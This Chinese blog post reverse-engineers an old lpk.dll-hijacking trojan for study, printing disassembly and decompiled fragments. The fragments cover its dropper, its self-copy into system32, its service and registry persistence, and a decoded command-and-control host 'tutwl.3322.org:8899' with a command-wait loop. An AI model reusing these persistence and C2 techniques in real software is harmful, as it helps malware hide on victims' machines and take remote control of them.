标签:
前言
这是一个比较老的样本了,我是在论坛里面找到的这个样本,文章的作者只是介绍了该木马的方法是通过木马造成的结果来分析的这个木马,然后这里写这个文章是通过从内部来剖析该木马的。如果不对的地方还请各位大神们赐教,不足的地方还希望大家能够给我补充一下。谢谢^_^
dll劫持原理
由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了,而本文中的lpk.dll是大部分程序都会调用到的一个dll
样本信息
MD5:d2b777a93719e548d0baf4c886e124d3
基本行为:写注册表,写服务,开机自启动,复制自身到系统文件中,在每个文件夹下创建dll文件
样本地址:http://www.52pojie.cn/thread-185439-1-1.html
行为分析
lpk.dll
No.1加载资源,写入tmp文件
该木马通过加载资源获取到里面的"Distribuijq"这个字符串
创建一个互斥量,唯一标识就是刚刚从资源中获取到的字符串
1: 100012BD /$ 57 push edi
2: 100012BE |. 68 20320010 push lpk_1.10003220 ; /MutexName = "Distribuijq"3: 100012C3 |. 6A 00 push 0x0 ; |InitialOwner = FALSE
4: 100012C5 |. 6A 00 push 0x0 ; |pSecurity = NULL
5: 100012C7 |. FF15 50200010 call dword ptr ds:[<&KERNEL32.CreateMute>; \CreateMutexA
继续加载资源,这次读取的是一个PE文件
读取到资源后会在系统临时目录下创建一个前缀名为"hrl"+*的文件名,因为GetTempFileameW()函数中的Unique参数(追加到前缀字串后面的数字)设置的是0x0所以这个函数会用一个随机数字生成文件。随后,它会检查是否存在同名的文件。如果存在,函数会增加这个数字,并继续尝试,直到生成一个独一无二的名字为止。
1: 10001204 |. 50 push eax ; /Buffer = 0012F610
2: 10001205 |. 68 04010000 push 0x104 ; |BufSize = 104 (260.)
3: 1000120A |. FF15 48200010 call dword ptr ds:[<&KERNEL32.GetTempPat>; \GetTempPathW
4: 10001210 |. 8D85 94FDFFFF lea eax,[local.155]
5: 10001216 |. 50 push eax ; /TempName = 0012F610
6: 10001217 |. 56 push esi ; |Unique = 0x0
7: 10001218 |. 68 C4210010 push lpk_1.100021C4 ; |Prefix = "hrl"
8: 1000121D |. 50 push eax ; |Path = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\hrl26.tmp"
9: 1000121E |. FF15 44200010 call dword ptr ds:[<&KERNEL32.GetTempFil>; \GetTempFileNameW
10: 10001224 |. 56 push esi ; /hTemplateFile = NULL
11: 10001225 |. 56 push esi ; |Attributes = 0
12: 10001226 |. 6A 02 push 0x2 ; |Mode = CREATE_ALWAYS
13: 10001228 |. 56 push esi ; |pSecurity = NULL
14: 10001229 |. 33DB xor ebx,ebx ; |
15: 1000122B |. 43 inc ebx ; |
16: 1000122C |. 53 push ebx ; |ShareMode = FILE_SHARE_READ
17: 1000122D |. 68 00000040 push 0x40000000 ; |Access = GENERIC_WRITE
18: 10001232 |. 8D85 94FDFFFF lea eax,[local.155] ; |
19: 10001238 |. 50 push eax ; |FileName = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\hrl26.tmp"
20: 10001239 |. FF15 40200010 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileW
创建完成后将数据写入到tmp文件中
1: 10001246 |. 56 push esi ; /pOverlapped = NULL
2: 10001247 |. 8D45 F0 lea eax,[local.4] ; |
3: 1000124A |. 50 push eax ; |pBytesWritten = 0012F86C
4: 1000124B |. FF75 F8 push [local.2] ; |nBytesToWrite = 9A00 (39424.)
5: 1000124E |. 8975 F0 mov [local.4],esi ; |
6: 10001251 |. FF75 F4 push [local.3] ; |Buffer = lpk_1.10004094
7: 10001254 |. 57 push edi ; |hFile = 00000084 (window)
8: 10001255 |. FF15 3C200010 call dword ptr ds:[<&KERNEL32.WriteFile>>; \WriteFile
9:
No.2创建新进程"hrl*.tmp"
1: 10001281 |. 50 push eax ; /pProcessInfo = 0012F610
2: 10001282 |. 8D45 9C lea eax,[local.25] ; |
3: 10001285 |. 50 push eax ; |pStartupInfo = 0012F610
4: 10001286 |. 56 push esi ; |CurrentDir = NULL
5: 10001287 |. 56 push esi ; |pEnvironment = NULL
6: 10001288 |. 56 push esi ; |CreationFlags = 0
7: 10001289 |. 56 push esi ; |InheritHandles = FALSE
8: 1000128A |. 56 push esi ; |pThreadSecurity = NULL
9: 1000128B |. 56 push esi ; |pProcessSecurity = NULL
10: 1000128C |. 8D85 94FDFFFF lea eax,[local.155] ; |
11: 10001292 |. 50 push eax ; |CommandLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\hrl26.tmp"
12: 10001293 |. 56 push esi ; |ModuleFileName = NULL
13: 10001294 |. C745 9C 44000>mov [local.25],0x44 ; |
14: 1000129B |. 895D C8 mov [local.14],ebx ; |
15: 1000129E |. FF15 30200010 call dword ptr ds:[<&KERNEL32.CreateProc>; \CreateProcessW
hrl*.tmp
下面是hrl*.tmp大致流程,接下来会对下面的内容进行详细分析
1: if ( Openkey() )
2: {
3: ServiceStartTable.lpServiceName = ServiceName;
4: ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_4028D0;
5: v5 = 0;
6: v6 = 0;
7: StartServiceCtrlDispatcherA(&ServiceStartTable);
8: }
9: else
10: {
11: ServerAndKeyAndCreate(ServiceName, DisplayName, aDistribumgqTra);
12: if ( dword_409344 )
13: {
14: GetTempAndMove();
15: ExitProcess(0);
16: }
17: }
N0.2打开注册表
利用拼接的方式获取注册表名
1: 00402C67 |. 68 A4844000 push hrl1A.004084A4 ; /String2 = "SYSTEM\CurrentControlSet\Services\"
2: 00402C6C |. F3:AB rep stos dword ptr es:[edi] ; |
3: 00402C6E |. 66:AB stos word ptr es:[edi] ; |
4: 00402C70 |. AA stos byte ptr es:[edi] ; |
5: 00402C71 |. 8D4424 0C lea eax,dword ptr ss:[esp+0xC] ; |
6: 00402C75 |. 50 push eax ; |String1 = 0012F780
7: 00402C76 |. FF15 7C604000 call dword ptr ds:[<&KERNEL32.lstrcpyA>] ; \lstrcpyA
8: 00402C7C |. 8D4C24 08 lea ecx,dword ptr ss:[esp+0x8]
9: 00402C80 |. 68 24804000 push hrl1A.00408024 ; /StringToAdd = "Distribuijq"
10: 00402C85 |. 51 push ecx ; |ConcatString = "SYSTEM\CurrentControlSet\Services\"
11: 00402C86 |. FF15 4C604000 call dword ptr ds:[<&KERNEL32.lstrcatA>] ; \lstrcatA
通过调用RegOpenKeyExA函数尝试能否打开注册表(换而言之,该木马是在判断该木马是否已经在主机上写入注册表,从而决定下一步动作)
1: 00402C94 |. 52 push edx
2: 00402C95 |. 68 3F000F00 push 0xF003F
3: 00402C9A |. 6A 00 push 0x0
4: 00402C9C |. 50 push eax
5: 00402C9D |. 68 02000080 push 0x80000002
6: 00402CA2 |. FF15 608D4000 call dword ptr ds:[0x408D60] ; advapi32.RegOpenKeyExA
No.3注册表打开失败
判断自己是不是在系统目录下
1: 00402DB5 |. 51 push ecx ; /maxlen
2: 00402DB6 |. 8D85 D8FCFFFF lea eax,[local.202] ; |
3: 00402DBC |. 50 push eax ; |s2 = "C:\Documents and Settings\Administrator\桌面\hrl1A.tmp"
4: 00402DBD |. 8D8D E0FDFFFF lea ecx,[local.136] ; |
5: 00402DC3 |. 51 push ecx ; |s1 = "C:\WINDOWS\system32"
6: 00402DC4 |. FF15 60624000 call dword ptr ds:[<&MSVCRT.strncmp>] ; \strncmp
7:
如果不在系统目录下,木马会调用GetTickCount函数和rand函数组合使用,获取一个随机的一个6位长度的程序名
(1)重复调用GetTickCount函数和rand函数的组合
1: v6 = sub_403CC0(0x1Au) + 97;
2: v7 = sub_403CC0(0x1Au) + 97;
3: v8 = sub_403CC0(0x1Au) + 97;
4: v9 = sub_403CC0(0x1Au) + 97;
5: v10 = sub_403CC0(0x1Au) + 97;
6: v11 = sub_403CC0(0x1Au);
(2)GetTickCount函数和rand函数的组合实现
1: v1 = GetTickCount();
2: return v1 * (rand() + 3) % a1;
(3)获取到随机文件名
复制自身到C:windwos\system32目录下
1: 00402E3E |. 68 D4844000 push hrl1A.004084D4 ; /StringToAdd = "\"
2: 00402E43 |. 8D85 E0FDFFFF lea eax,[local.136] ; |
3: 00402E49 |. 50 push eax ; |ConcatString = "C:\WINDOWS\system32\icdgae.exe"
4: 00402E4A |. 8B1D 4C604000 mov ebx,dword ptr ds:[<&KERNEL32.lstrcat>; |kernel32.lstrcatA
5: 00402E50 |. FFD3 call ebx ; \lstrcatA
6: 00402E52 |. 8D8D 68FCFFFF lea ecx,[local.230]
7: 00402E58 |. 51 push ecx ; /StringToAdd = "C:\Documents and Settings\Administrator\桌面\hrl1A.tmp"
8: 00402E59 |. 8D95 E0FDFFFF lea edx,[local.136] ; |
9: 00402E5F |. 52 push edx ; |ConcatString = 0000000B ???
10: 00402E60 |. FFD3 call ebx ; \lstrcatA
11: 00402E62 |. 56 push esi ; /FailIfExists = FALSE
12: 00402E63 |. 8D85 E0FDFFFF lea eax,[local.136] ; |
13: 00402E69 |. 50 push eax ; |NewFileName = "C:\WINDOWS\system32\icdgae.exe"
14: 00402E6A |. 8D8D D8FCFFFF lea ecx,[local.202] ; |
15: 00402E70 |. 51 push ecx ; |ExistingFileName = "C:\Documents and Settings\Administrator\桌面\hrl1A.tmp"
16: 00402E71 |. FF15 88604000 call dword ptr ds:[<&KERNEL32.CopyFileA>>; \CopyFileA
服务控制管理器的连接
1: 00402EC3 |. 68 3F000F00 push 0xF003F
2: 00402EC8 |. 57 push edi
3: 00402EC9 |. 57 push edi
4: 00402ECA |. FF15 748D4000 call dword ptr ds:[0x408D74] ; advapi32.OpenSCManagerA
连接成功后,创建服务,如果创建服务返回1073(服务已经存在)就打开服务,执行服务
1: v5 = CreateServiceA(v13, lpServiceName, lpDisplayName, 0xF01FFu, 0x10u, 2u, 0, &Str2, 0, 0, 0, 0, 0);
2: v37 = v5;
3: if ( !v5 && GetLastError() == 1073 )
4: {
5: v14 = OpenServiceA(hSCManager, lpServiceName, 0xF01FFu);
6: v5 = v14;
7: v37 = v14;
8: if ( !v14 )
9: goto LABEL_11;
10: StartServiceA(v14, 0, 0);
服务启动成功后,继续写入注册表,设置注册表值
1: if ( StartServiceA(v5, 0, 0) )
2: {
3: lstrcpyA(&String1, aSystemCurrentc);
4: v12(&String1, lpServiceName);
5: RegOpenKeyA(HKEY_LOCAL_MACHINE, &String1, &phkResult);
6: v15 = lstrlenA(lpString);
7: RegSetValueExA(phkResult, aDescription, 0, 1u, (const BYTE *)lpString, v15);
8: }
执行完上面的,木马会将自己重命名后转移到系统的临时文件中
1: 00402588 |. 52 push edx ; /Buffer = 0000000D
2: 00402589 |. 68 04010000 push 0x104 ; |BufSize = 104 (260.)
3: 0040258E |. FF15 28604000 call dword ptr ds:[<&KERNEL32.GetTempPat>; \GetTempPathA
4: 00402594 |. 8D8424 200100>lea eax,dword ptr ss:[esp+0x120]
5: 0040259B |. 68 88844000 push hrl1A.00408488 ; /StringToAdd = "SOFTWARE.LOG"
6: 004025A0 |. 50 push eax ; |ConcatString = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SOFTWARE.LOG"
7: 004025A1 |. FF15 4C604000 call dword ptr ds:[<&KERNEL32.lstrcatA>] ; \lstrcatA
8: 004025A7 |. 8B35 2C604000 mov esi,dword ptr ds:[<&KERNEL32.MoveFil>; kernel32.MoveFileExA
9: 004025AD |. 8D8C24 200100>lea ecx,dword ptr ss:[esp+0x120]
10: 004025B4 |. 6A 03 push 0x3 ; /Flags = REPLACE_EXISTING|COPY_ALLOWED
11: 004025B6 |. 8D5424 20 lea edx,dword ptr ss:[esp+0x20] ; |
12: 004025BA |. 51 push ecx ; |NewName = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SOFTWARE.LOG"
13: 004025BB |. 52 push edx ; |ExistingName = "C:\Documents and Settings\Administrator\桌面\hrl1A.exe"
14: 004025BC |. FFD6 call esi ; \MoveFileExA
15: 004025BE |. 85C0 test eax,eax
16: 004025C0 |. 74 0E je short hrl1A.004025D0
17: 004025C2 |. 6A 05 push 0x5 ; /Flags = REPLACE_EXISTING|DELAY_UNTIL_REBOOT
18: 004025C4 |. 8D8424 240100>lea eax,dword ptr ss:[esp+0x124] ; |
19: 004025CB |. 6A 00 push 0x0 ; |NewName = NULL
20: 004025CD |. 50 push eax ; |ExistingName = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SOFTWARE.LOG"
21: 004025CE |. FFD6 call esi ; \MoveFileExA
22:
No.4注册表打开成功(此时的木马已经完成了它的基本配置,要开始作恶了)
注册表打开成功后,木马会调用StartServiceCtrlDispatcherA()函数,该函数指出了处理该服务的函数
1: ServiceStartTable.lpServiceName = ServiceName;
2: ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_4028D0;
3: v5 = 0;
4: v6 = 0;
5: StartServiceCtrlDispatcherA(&ServiceStartTable);
下面主要分析处理服务的函数
(1)注册一个函数来处理服务控制请求,在设置服务状态,最后创建一个互斥量
1: hServiceStatus = RegisterServiceCtrlHandlerA(ServiceName, HandlerProc);
2: ServiceStatus.dwServiceType = 32;
3: ServiceStatus.dwControlsAccepted = 7;
4: ServiceStatus.dwWin32ExitCode = 0;
5: ServiceStatus.dwWaitHint = 2000;
6: ServiceStatus.dwCheckPoint = 1;
7: ServiceStatus.dwCurrentState = 2;
8: SetServiceStatus(hServiceStatus, &ServiceStatus);
9: ServiceStatus.dwCheckPoint = 0;
10: Sleep(0x1F4u);
11: ServiceStatus.dwCurrentState = 4;
12: SetServiceStatus(hServiceStatus, &ServiceStatus);
13: CreateMutexA(0, 0, ServiceName);
(2)通过加载资源,然后创建一个hra*.dll文件
1: v4 = FindResourceA(hModule, lpName, lpType);
2: v5 = v4;
3: if ( v4 ){
4: v6 = SizeofResource(hModule, v4);
5: v7 = LoadResource(hModule, v5);
6: if ( v7 ){
7: if ( v6 ) {
8: v8 = LockResource(v7);
9: if ( v8 ){
10: wsprintfA(&FileName, aHraU_dll, lpName); //aHraU_dll储存的就是文件名
11: v9 = CreateFileA(&FileName, 0x40000000u, 1u, 0, 2u, 0, 0);
12: if ( v9 != (HANDLE)-1 ) {
13: NumberOfBytesWritten = 0;
14: WriteFile(v9, v8, v6, &NumberOfBytesWritten, 0);
15: CloseHandle(v9);
16: }
17: }
18: }
19: }
20: }
(3)首先会查看是否能打开注册表,打开注册表后会检测ImagPath中的值是否指向一个可执行文件。然后获取这个文件的属性
1: 00402770 |. 50 push eax ; /FileName = "C:\WINDOWS\system32\rqfhou.exe"
2: 00402771 |. FF15 78604000 call dword ptr ds:[<&KERNEL32.GetFileAtt>; \GetFileAttributesA
3:
(4)属性获取成功后会打开该文件
1: 00402788 |> \6A 00 push 0x0 ; /hTemplateFile = NULL
2: 0040278A |. 6A 00 push 0x0 ; |Attributes = 0
3: 0040278C |. 6A 03 push 0x3 ; |Mode = OPEN_EXISTING
4: 0040278E |. 6A 00 push 0x0 ; |pSecurity = NULL
5: 00402790 |. 6A 01 push 0x1 ; |ShareMode = FILE_SHARE_READ
6: 00402792 |. 8D4C24 2C lea ecx,dword ptr ss:[esp+0x2C] ; |
7: 00402796 |. 68 00000080 push 0x80000000 ; |Access = GENERIC_READ
8: 0040279B |. 51 push ecx ; |FileName = "C:\WINDOWS\system32\rqfhou.exe"
9: 0040279C |. FF15 34604000 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileA
(5)获取文件大小,然后对资源进行更新(删除掉刚刚生成的dll文件)
1: 004027B5 |> \6A 00 push 0x0 ; /pFileSizeHigh = NULL
2: 004027B7 |. 56 push esi ; |hFile = 0000007C (window)
3: 004027B8 |. FF15 74604000 call dword ptr ds:[<&KERNEL32.GetFileSiz>; \GetFileSize
1: 0040283B |. 6A 00 push 0x0 ; /DeleteExistingResources = FALSE
2: 0040283D |. 51 push ecx ; |FileName = "hra33.dll"
3: 0040283E |. FF15 04604000 call dword ptr ds:[<&KERNEL32.BeginUpdat>; \BeginUpdateResourceA
1: 00402861 |. 55 push ebp ; kernel32.UpdateResourceA
2: 00402862 |. 8B2D 08604000 mov ebp,dword ptr ds:[<&KERNEL32.UpdateR>; kernel32.UpdateResourceA
3: 00402868 |. 52 push edx ; /DataSize = 9A00 (39424.)
4: 00402869 |. 53 push ebx ; |pData = 00159760
5: 0040286A |. 6A 00 push 0x0 ; |LanguageId = 0x0 (LANG_NEUTRAL)
6: 0040286C |. 6A 66 push 0x66 ; |ResourceName = 0x66
7: 0040286E |. 6A 0A push 0xA ; |ResourceType = RT_RCDATA
8: 00402870 |. 56 push esi ; |hFile = 008F003C
9: 00402871 |. FFD5 call ebp ; \UpdateResourceA
1: 00402896 |> \6A 00 push 0x0 ; /DiscardUpdates = FALSE
2: 00402898 |. 56 push esi ; |hUpdateFile = 008F003C
3: 00402899 |. FF15 0C604000 call dword ptr ds:[<&KERNEL32.EndUpdateR>; \EndUpdateResourceA
(6)前面虽然已经对lra33.dll进行了删除,为了保证是被真的删除掉,函数还通过调用LoadLibrary函数来判断是否还存在这个dll,如果存在就删除
1: wsprintfA(&LibFileName, aHraU_dll, 32);
2: v0 = LoadLibraryA(&LibFileName);
3: v1 = v0;
4: if ( v0 )
5: {
6: dword_40933C = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(v0, aStartwork);
7: dword_409340 = (int (__fastcall *)(_DWORD, _DWORD))GetProcAddress(v1, aStopwork);
8: if ( dword_409340 && dword_40933C )
9: return 1;
10: FreeLibrary(v1);
11: DeleteFileA(&LibFileName);
12: }
(7)通过解密获得一个域名
1: 004029C2 . 51 push ecx
2: 004029C3 . 68 C4814000 push rqfhou.004081C4 ; ASCII "tutwl.3322.org:8899"
3: 004029C8 . E8 E3FAFFFF call rqfhou.004024B0
4:
(7)剩下一个就是一个死循环,在等待发送过来的命令了
1: while ( 1 )
2: {
3: hObject = Connect_boot((LPTHREAD_START_ROUTINE)AboutInter, 0);
4: WaitForSingleObject(hObject, 0xFFFFFFFF);
5: CloseHandle(hObject);
6: closesocket(s);
7: dword_408614 = 1;
8: Sleep(0x12Cu);
9: }
详细的信息进入AboutInter就可以看到里面的内容,这里就不再把里面的内容贴出来了,简单的介绍一下里面的内容就是通过创建UDP套接字里进行通信,获取用户系统版本,并发送至服务端(因为服务端已经崩溃了,所以这里就没有抓获到数据)等等
标签:
原文地址:http://www.cnblogs.com/kangxiaopao/p/4664718.html